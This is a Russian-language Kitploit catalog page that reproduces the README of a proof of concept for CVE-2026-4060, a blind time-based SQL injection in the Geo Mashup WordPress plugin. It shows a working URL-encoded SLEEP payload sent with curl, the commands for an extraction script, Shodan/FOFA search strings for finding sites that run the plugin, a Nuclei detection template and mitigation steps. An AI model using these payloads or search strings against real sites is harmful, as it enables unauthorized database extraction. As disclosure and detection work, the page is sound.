Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-4060-PoC — Доказательство концепции для CVE-2026-4060: неаутентифицированная временная слепая SQL-инъекция в плагине Geo Mashup для WordPress через предложение ORDER BY. Включает скрипт эксплуатации, лабораторную среду и шаблон обнаружения Nuclei. | Kitploit
Инструменты/GitHubGitHub/ydking0911/cve-2026-4060-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийCTFТестирование на ПроникновениеОбучение и Образование
GitHubydking0911/cve-2026-4060-poc

CVE-2026-4060-PoC

Доказательство концепции для CVE-2026-4060: неаутентифицированная временная слепая SQL-инъекция в плагине Geo Mashup для WordPress через предложение ORDER BY. Включает скрипт эксплуатации, лабораторную среду и шаблон обнаружения Nuclei.

Репозиторий
4 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-4060 — Geo Mashup ≤ 1.13.18 Неаутентифицированная SQL-инъекция PoC

Severity CVSS Type Status

Неаутентифицированные злоумышленники могут внедрять произвольный SQL в предложение ORDER BY через параметр sort конечной точки render-map плагина Geo Mashup, что позволяет слепое извлечение конфиденциальной информации из базы данных на основе задержек по времени.


Содержание

  • Обзор уязвимости
  • Среда тестирования
  • Как запустить
Результаты тестирования
  • Меры по смягчению
  • Обнаружение
  • Хронология
  • Ссылки

  • Обзор уязвимости

    ПолеДетали
    CVECVE-2026-4060
    ПлагинGeo Mashup от cyberhobo
    Затронутые версии≤ 1.13.18
    Исправлено в1.13.19
    CVSS v3.17.5 (Высокий) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    CWECWE-89 — Некорректная нейтрализация специальных элементов в SQL
    Требуется аутентификацияНет (неаутентифицированный)

    Техническая детализация

    Параметр sort, принимаемый конечной точкой render-map, передаётся напрямую в вызов $wpdb->get_results() без очистки:

    root@kitploit:~
    // render-map.php (упрощено)
    $sort = $_GET['sort'];
    $results = $wpdb->get_results(
        "SELECT ... FROM wp_geo_mashup_locations ... ORDER BY $sort"
    );
    

    Поскольку $sort интерполируется как есть, злоумышленник может внедрить подзапрос в предложение ORDER BY. WordPress wpdb экранирует одинарные кавычки, поэтому PoC использует ORD(SUBSTRING(...)) с числовыми сравнениями, чтобы обойти это ограничение и выполнить слепое извлечение на основе времени.

    Уязвимая конечная точка:

    root@kitploit:~
    GET /?geo_mashup_content=render-map&map_content=global&sort=<PAYLOAD>
    

    Среда тестирования

    КомпонентВерсия
    ОСmacOS (Darwin 25.4.0)
    Docker27.x
    WordPress6.8.2 (PHP 8.2, Apache)
    MariaDB11.4
    Geo Mashup1.13.18 (уязвимая)
    Python3.x (для poc.py)
    Nucleiv3.8.0

    Архитектура лабораторного стенда

    root@kitploit:~
    ┌─────────────────────────────────┐
    │  Хост (localhost:8080)          │
    │                                 │
    │  ┌─────────────┐  ┌──────────┐  │
    │  │ WordPress   │  │ MariaDB  │  │
    │  │ 6.8.2+PHP82 │──│  11.4    │  │
    │  │ :80         │  │ :3306    │  │
    │  └─────────────┘  └──────────┘  │
    │       + Geo Mashup 1.13.18      │
    └─────────────────────────────────┘
    

    Geo Mashup 1.13.18 активен в админке WordPress:

    Geo Mashup 1.13.18 активен в админке WordPress


    Как запустить

    1. Запуск лабораторного стенда

    root@kitploit:~
    git clone https://github.com/ydking0911/CVE-2026-4060-PoC.git
    cd CVE-2026-4060-PoC
    bash setup.sh
    

    setup.sh сделает следующее:

    • Запустит контейнеры WordPress 6.8.2 + MariaDB 11.4
    • Установит и активирует Geo Mashup 1.13.18 (уязвимую версию) через WP-CLI
    • Создаст запись с геометками, чтобы конечная точка карты возвращала корректный ответ

    После завершения:

    • Сайт: http://localhost:8080
    • Админка: http://localhost:8080/wp-admin (пользователь: admin / пароль: admin)

    2. Подтверждение уязвимости (инъекция SLEEP)

    root@kitploit:~
    time curl -s -o /dev/null \
      "http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"
    

    Задержка ответа около 8 секунд подтверждает SQL-инъекцию в ORDER BY.

    3. Извлечение данных (PoC)

    root@kitploit:~
    # По умолчанию — только результат извлечения
    python3 poc.py --url http://localhost:8080
    
    # Подробный вывод — показывать каждый пейлоад, время ответа и извлечённый символ
    python3 poc.py --url http://localhost:8080 --verbose
    
    # Только подтверждение SQLi, без извлечения данных
    python3 poc.py --url http://localhost:8080 --confirm-only
    

    4. Запуск шаблона обнаружения Nuclei

    root@kitploit:~
    nuclei -t nuclei/CVE-2026-4060.yaml -u http://localhost:8080
    

    5. Остановка лабораторного стенда

    root@kitploit:~
    docker compose down -v
    

    Результаты тестирования

    Истинно-положительный (TP) — Уязвимая цель

    TP-1: Подтверждение инъекции ORDER BY SLEEP(8)

    Внедрение подзапроса SLEEP(8) через параметр sort вызывает задержку ответа ~8 секунд.

    root@kitploit:~
    time curl -s -o /dev/null \
      "http://localhost:8080/?...&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"
    

    SLEEP(8) через ORDER BY — ответ за 8.05 с

    TP-2: Извлечение данных (подробный режим)

    PoC извлекает данные посимвольно с помощью сравнений ORD(SUBSTRING(...)): отправка пейлоада → измерение времени ответа → подтверждение символа при срабатывании SLEEP.

    root@kitploit:~
    python3 poc.py --url http://localhost:8080 --verbose
    

    poc.py подробный вывод — пейлоад, задержка, извлечённые символы

    Извлечённые данные:

    ЗапросРезультат
    VERSION()11.4.10-MariaDB
    DATABASE()wordpress
    USER()[email protected]

    TP-3: Обнаружение шаблоном Nuclei

    root@kitploit:~
    [CVE-2026-4060] [http] [high]
    http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29
    
    Scan completed in 8.07s. 1 matches found.
    

    Ложно-положительный (FP) — Неуязвимая цель

    Шаблон Nuclei использует двухэтапный процесс для предотвращения ложных срабатываний.

    FP-1: Geo Mashup не установлен

    Если readme.txt возвращает 404 на шаге 1, сканирование завершается немедленно без отправки SQL-пейлоада.

    root@kitploit:~
    Scan completed in 62ms. 0 matches found.   ✅
    

    FP-2: Исправленная версия (≥ 1.13.19)

    Проверка версии плагина через readme.txt:

    readme.txt с пометкой Stable tag: 1.13.18

    Если compare_versions(version, '<= 1.13.18') не выполняется, шаг 2 полностью пропускается.

    root@kitploit:~
    Scan completed in 19ms. 0 matches found.   ✅
    

    Меры по смягчению

    ДействиеПодробности
    ОбновлениеОбновить Geo Mashup до версии 1.13.19 или новее
    ВременноеДеактивировать плагин до применения обновления
    WAFБлокировать шаблоны внедрения подзапросов в предложениях ORDER BY

    Коммит исправления: plugins.trac.wordpress.org/changeset/3503627


    Обнаружение

    Шаблон Nuclei: nuclei/CVE-2026-4060.yaml

    Процесс обнаружения:

    root@kitploit:~
    Шаг 1: GET /wp-content/plugins/geo-mashup/readme.txt
            → подтвердить существование плагина + версию <= 1.13.18
    
    Шаг 2: GET /?geo_mashup_content=render-map&...&sort=SLEEP(8)
            → статус 200 + GeoMashup.createMap + длительность >= 8s
    

    Shodan / FOFA:

    root@kitploit:~
    Shodan: http.html:"geo-mashup"
    FOFA:   body="geo-mashup"
    

    Хронология

    ДатаСобытие
    2026-04Уязвимость обнаружена
    2026-04Сообщено автору плагина
    2026-05Выпущен патч Geo Mashup 1.13.19
    2026-05-14Назначен CVE и раскрытие публично

    Ссылки

    • NVD — CVE-2026-4060
    • Рекомендация Wordfence
    • Изменения плагина (исправление)
    • CWE-89

    Отказ от ответственности

    Этот репозиторий предназначен только для образовательных целей и авторизованного тестирования безопасности.
    Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.
    Автор не несет ответственности за любое неправомерное использование этого материала.

    Скачать инструмент